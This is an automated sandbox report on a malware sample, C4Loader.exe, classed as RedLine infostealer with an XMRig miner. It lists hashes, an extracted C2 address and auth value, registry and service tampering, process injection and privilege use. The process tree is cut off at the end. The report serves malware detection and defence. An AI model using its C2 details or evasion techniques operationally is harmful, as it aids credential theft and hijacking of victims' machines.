redline | eab9a40c5379d460e7d5f3d11c2b766ce8674c2240110e063fecb0c651e0dd67

Analysis

max time kernel
151s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
11/11/2022, 03:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
C4Loader.exe
Size 575KB
Sample221111-dk6ysaaehk
SHA256 eab9a40c5379d460e7d5f3d11c2b766ce8674c2240110e063fecb0c651e0dd67
MD5 f159c8d7601d866641a6d31918d62e9e
SHA1 2642f901f2d802e864d0a38da5095938ef143abb
SHA512 da8ca4535c7476be5a157867cf516973fe634391be33a007f1c53afa3f8936b868edd3ce22da3e2152c14ed04660375781454ed38247d266a3136cb0f5a2f570
SSDEEP 12288:ufG4JSQ6SUuy5OR62Cf/tUdCEiYQIF9GPUIcMGCozutXffjqAZgR:ufG4IQ6SUuyOCEiYQg9GPUIRoyfaR
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

redline xmrig 1 evasion infostealer miner spyware upx

Malware Config

Extracted

Family

redline

Botnet

107.182.129.73:21733

Attributes

auth_value
3a5bb0917495b4312d052a0b8977d2bb

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

resource	yara_rule
behavioral2/memory/2544-174-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral2/memory/3256-179-0x00000000007E0000-0x000000000081E000-memory.dmp	family_redline

Suspicious use of NtCreateProcessExOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 3808 created 3452	3808	WerFault.exe	64
PID 3076 created 3344	3076	WerFault.exe	44
PID 1512 created 3316	1512	WerFault.exe	159

Suspicious use of NtCreateUserProcessOtherParentProcess 16 IoCs

description	pid	Process	procid_target
PID 2772 created 2824	2772	SmartDefRun.exe	67
PID 2772 created 2824	2772	SmartDefRun.exe	67
PID 2772 created 2824	2772	SmartDefRun.exe	67
PID 2772 created 2824	2772	SmartDefRun.exe	67
PID 2772 created 2824	2772	SmartDefRun.exe	67
PID 4348 created 2824	4348	SmartScreenQC.exe	67
PID 4348 created 2824	4348	SmartScreenQC.exe	67
PID 4348 created 2824	4348	SmartScreenQC.exe	67
PID 4348 created 2824	4348	SmartScreenQC.exe	67
PID 1764 created 2824	1764	dialer.exe	67
PID 4348 created 2824	4348	SmartScreenQC.exe	67
PID 4348 created 2824	4348	SmartScreenQC.exe	67
PID 2248 created 604	2248	powershell.EXE	3
PID 4992 created 3452	4992	svchost.exe	64
PID 4992 created 3344	4992	svchost.exe	44
PID 4992 created 3316	4992	svchost.exe	159

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 1 IoCs

miner

resource	yara_rule
behavioral2/memory/4988-249-0x00007FF70E990000-0x00007FF70F184000-memory.dmp	xmrig

Blocklisted process makes network request 1 IoCs

flow	pid	Process
18	4664	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	SmartDefRun.exe
File created	C:\Windows\System32\drivers\etc\hosts	SmartScreenQC.exe

Executes dropped EXE 6 IoCs

pid	Process
716	C4Loader.exe
3256	new2.exe
4404	SysApp.exe
2772	SmartDefRun.exe
4348	SmartScreenQC.exe
1596	fodhelper.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4988-249-0x00007FF70E990000-0x00007FF70F184000-memory.dmp	upx

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 18 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.EXE
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.EXE.log	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_C0427F5F77D9B3A439FC620EDAAB6177	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Telemetry Logging	svchost.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_E503B048B745DFA14B81FCFC68D6DECE	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 1408 set thread context of 4596	1408	C4Loader.exe	80
PID 3256 set thread context of 2544	3256	new2.exe	98
PID 2772 set thread context of 3740	2772	SmartDefRun.exe	119
PID 4348 set thread context of 1764	4348	SmartScreenQC.exe	144
PID 4348 set thread context of 4988	4348	SmartScreenQC.exe	150
PID 2248 set thread context of 4480	2248	powershell.EXE	151

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe	SmartDefRun.exe
File created	C:\Program Files\Google\Libs\WR64.sys	SmartScreenQC.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1544	sc.exe
2572	sc.exe
4700	sc.exe
4112	sc.exe
3844	sc.exe
2364	sc.exe
5024	sc.exe
3696	sc.exe
3124	sc.exe
4176	sc.exe

Program crash 4 IoCs

pid	pid_target	Process	procid_target
1268	1408	WerFault.exe	78
4112	3344	WerFault.exe	44
4224	3452	WerFault.exe	64
2760	3316	WerFault.exe	159

Checks processor information in registry 2 TTPs 9 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
208	schtasks.exe
2084	schtasks.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	dialer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1668139570"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4664	powershell.exe
4664	powershell.exe
2772	SmartDefRun.exe
2772	SmartDefRun.exe
3816	powershell.exe
3816	powershell.exe
2772	SmartDefRun.exe
2772	SmartDefRun.exe
2772	SmartDefRun.exe
2772	SmartDefRun.exe
3100	powershell.exe
3100	powershell.exe
2772	SmartDefRun.exe
2772	SmartDefRun.exe
2772	SmartDefRun.exe
2772	SmartDefRun.exe
4712	powershell.exe
4404	SysApp.exe
4404	SysApp.exe
4404	SysApp.exe
4404	SysApp.exe
4404	SysApp.exe
4404	SysApp.exe
4404	SysApp.exe
4404	SysApp.exe
4404	SysApp.exe
4404	SysApp.exe
4712	powershell.exe
2248	powershell.EXE
2248	powershell.EXE
1196	powershell.EXE
1196	powershell.EXE
4348	SmartScreenQC.exe
4348	SmartScreenQC.exe
1520	powershell.exe
1520	powershell.exe
2544	vbc.exe
4348	SmartScreenQC.exe
4348	SmartScreenQC.exe
4348	SmartScreenQC.exe
4348	SmartScreenQC.exe
2368	powershell.exe
2368	powershell.exe
4348	SmartScreenQC.exe
4348	SmartScreenQC.exe
1764	dialer.exe
1764	dialer.exe
4348	SmartScreenQC.exe
4348	SmartScreenQC.exe
4348	SmartScreenQC.exe
4348	SmartScreenQC.exe
2248	powershell.EXE
4480	dllhost.exe
4480	dllhost.exe
4480	dllhost.exe
4480	dllhost.exe
4480	dllhost.exe
4480	dllhost.exe
4480	dllhost.exe
4480	dllhost.exe
4988	dialer.exe
4988	dialer.exe
4988	dialer.exe
4988	dialer.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2824	Explorer.EXE

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
660	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4664	powershell.exe
Token: SeDebugPrivilege	3816	powershell.exe
Token: SeDebugPrivilege	3100	powershell.exe
Token: SeIncreaseQuotaPrivilege	3100	powershell.exe
Token: SeSecurityPrivilege	3100	powershell.exe
Token: SeTakeOwnershipPrivilege	3100	powershell.exe
Token: SeLoadDriverPrivilege	3100	powershell.exe
Token: SeSystemProfilePrivilege	3100	powershell.exe
Token: SeSystemtimePrivilege	3100	powershell.exe
Token: SeProfSingleProcessPrivilege	3100	powershell.exe
Token: SeIncBasePriorityPrivilege	3100	powershell.exe
Token: SeCreatePagefilePrivilege	3100	powershell.exe
Token: SeBackupPrivilege	3100	powershell.exe
Token: SeRestorePrivilege	3100	powershell.exe
Token: SeShutdownPrivilege	3100	powershell.exe
Token: SeDebugPrivilege	3100	powershell.exe
Token: SeSystemEnvironmentPrivilege	3100	powershell.exe
Token: SeRemoteShutdownPrivilege	3100	powershell.exe
Token: SeUndockPrivilege	3100	powershell.exe
Token: SeManageVolumePrivilege	3100	powershell.exe
Token: 33	3100	powershell.exe
Token: 34	3100	powershell.exe
Token: 35	3100	powershell.exe
Token: 36	3100	powershell.exe
Token: SeIncreaseQuotaPrivilege	3100	powershell.exe
Token: SeSecurityPrivilege	3100	powershell.exe
Token: SeTakeOwnershipPrivilege	3100	powershell.exe
Token: SeLoadDriverPrivilege	3100	powershell.exe
Token: SeSystemProfilePrivilege	3100	powershell.exe
Token: SeSystemtimePrivilege	3100	powershell.exe
Token: SeProfSingleProcessPrivilege	3100	powershell.exe
Token: SeIncBasePriorityPrivilege	3100	powershell.exe
Token: SeCreatePagefilePrivilege	3100	powershell.exe
Token: SeBackupPrivilege	3100	powershell.exe
Token: SeRestorePrivilege	3100	powershell.exe
Token: SeShutdownPrivilege	3100	powershell.exe
Token: SeDebugPrivilege	3100	powershell.exe
Token: SeSystemEnvironmentPrivilege	3100	powershell.exe
Token: SeRemoteShutdownPrivilege	3100	powershell.exe
Token: SeUndockPrivilege	3100	powershell.exe
Token: SeManageVolumePrivilege	3100	powershell.exe
Token: 33	3100	powershell.exe
Token: 34	3100	powershell.exe
Token: 35	3100	powershell.exe
Token: 36	3100	powershell.exe
Token: SeIncreaseQuotaPrivilege	3100	powershell.exe
Token: SeSecurityPrivilege	3100	powershell.exe
Token: SeTakeOwnershipPrivilege	3100	powershell.exe
Token: SeLoadDriverPrivilege	3100	powershell.exe
Token: SeSystemProfilePrivilege	3100	powershell.exe
Token: SeSystemtimePrivilege	3100	powershell.exe
Token: SeProfSingleProcessPrivilege	3100	powershell.exe
Token: SeIncBasePriorityPrivilege	3100	powershell.exe
Token: SeCreatePagefilePrivilege	3100	powershell.exe
Token: SeBackupPrivilege	3100	powershell.exe
Token: SeRestorePrivilege	3100	powershell.exe
Token: SeShutdownPrivilege	3100	powershell.exe
Token: SeDebugPrivilege	3100	powershell.exe
Token: SeSystemEnvironmentPrivilege	3100	powershell.exe
Token: SeRemoteShutdownPrivilege	3100	powershell.exe
Token: SeUndockPrivilege	3100	powershell.exe
Token: SeManageVolumePrivilege	3100	powershell.exe
Token: 33	3100	powershell.exe
Token: 34	3100	powershell.exe

Suspicious use of UnmapMainImage 2 IoCs

pid	Process
2700	svchost.exe
2700	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1408 wrote to memory of 4596	1408	C4Loader.exe	80
PID 1408 wrote to memory of 4596	1408	C4Loader.exe	80
PID 1408 wrote to memory of 4596	1408	C4Loader.exe	80
PID 1408 wrote to memory of 4596	1408	C4Loader.exe	80
PID 1408 wrote to memory of 4596	1408	C4Loader.exe	80
PID 4596 wrote to memory of 4664	4596	vbc.exe	84
PID 4596 wrote to memory of 4664	4596	vbc.exe	84
PID 4596 wrote to memory of 4664	4596	vbc.exe	84
PID 4664 wrote to memory of 716	4664	powershell.exe	93
PID 4664 wrote to memory of 716	4664	powershell.exe	93
PID 4664 wrote to memory of 716	4664	powershell.exe	93
PID 4664 wrote to memory of 3256	4664	powershell.exe	94
PID 4664 wrote to memory of 3256	4664	powershell.exe	94
PID 4664 wrote to memory of 3256	4664	powershell.exe	94
PID 4664 wrote to memory of 4404	4664	powershell.exe	96
PID 4664 wrote to memory of 4404	4664	powershell.exe	96
PID 4664 wrote to memory of 4404	4664	powershell.exe	96
PID 4664 wrote to memory of 2772	4664	powershell.exe	97
PID 4664 wrote to memory of 2772	4664	powershell.exe	97
PID 3256 wrote to memory of 2544	3256	new2.exe	98
PID 3256 wrote to memory of 2544	3256	new2.exe	98
PID 3256 wrote to memory of 2544	3256	new2.exe	98
PID 3256 wrote to memory of 2544	3256	new2.exe	98
PID 3256 wrote to memory of 2544	3256	new2.exe	98
PID 1796 wrote to memory of 3124	1796	cmd.exe	107
PID 1796 wrote to memory of 3124	1796	cmd.exe	107
PID 1796 wrote to memory of 4176	1796	cmd.exe	108
PID 1796 wrote to memory of 4176	1796	cmd.exe	108
PID 1796 wrote to memory of 1544	1796	cmd.exe	109
PID 1796 wrote to memory of 1544	1796	cmd.exe	109
PID 1796 wrote to memory of 4700	1796	cmd.exe	110
PID 1796 wrote to memory of 4700	1796	cmd.exe	110
PID 1796 wrote to memory of 4112	1796	cmd.exe	111
PID 1796 wrote to memory of 4112	1796	cmd.exe	111
PID 1796 wrote to memory of 4608	1796	cmd.exe	112
PID 1796 wrote to memory of 4608	1796	cmd.exe	112
PID 1796 wrote to memory of 492	1796	cmd.exe	113
PID 1796 wrote to memory of 492	1796	cmd.exe	113
PID 1796 wrote to memory of 2576	1796	cmd.exe	115
PID 1796 wrote to memory of 2576	1796	cmd.exe	115
PID 1796 wrote to memory of 4028	1796	cmd.exe	116
PID 1796 wrote to memory of 4028	1796	cmd.exe	116
PID 1796 wrote to memory of 2272	1796	cmd.exe	117
PID 1796 wrote to memory of 2272	1796	cmd.exe	117
PID 2772 wrote to memory of 3740	2772	SmartDefRun.exe	119
PID 4712 wrote to memory of 3804	4712	powershell.exe	126
PID 4712 wrote to memory of 3804	4712	powershell.exe	126
PID 2036 wrote to memory of 3844	2036	cmd.exe	133
PID 2036 wrote to memory of 3844	2036	cmd.exe	133
PID 2036 wrote to memory of 2364	2036	cmd.exe	135
PID 2036 wrote to memory of 2364	2036	cmd.exe	135
PID 2036 wrote to memory of 5024	2036	cmd.exe	136
PID 2036 wrote to memory of 5024	2036	cmd.exe	136
PID 2036 wrote to memory of 2572	2036	cmd.exe	137
PID 2036 wrote to memory of 2572	2036	cmd.exe	137
PID 2036 wrote to memory of 3696	2036	cmd.exe	138
PID 2036 wrote to memory of 3696	2036	cmd.exe	138
PID 2036 wrote to memory of 460	2036	cmd.exe	139
PID 2036 wrote to memory of 460	2036	cmd.exe	139
PID 2036 wrote to memory of 3076	2036	cmd.exe	153
PID 2036 wrote to memory of 3076	2036	cmd.exe	153
PID 2036 wrote to memory of 3748	2036	cmd.exe	141
PID 2036 wrote to memory of 3748	2036	cmd.exe	141
PID 2036 wrote to memory of 492	2036	cmd.exe	142

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:604
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:376
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{18c1e1fb-e2ce-4cfe-ab08-8794a68ca20e}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1164
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2420
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
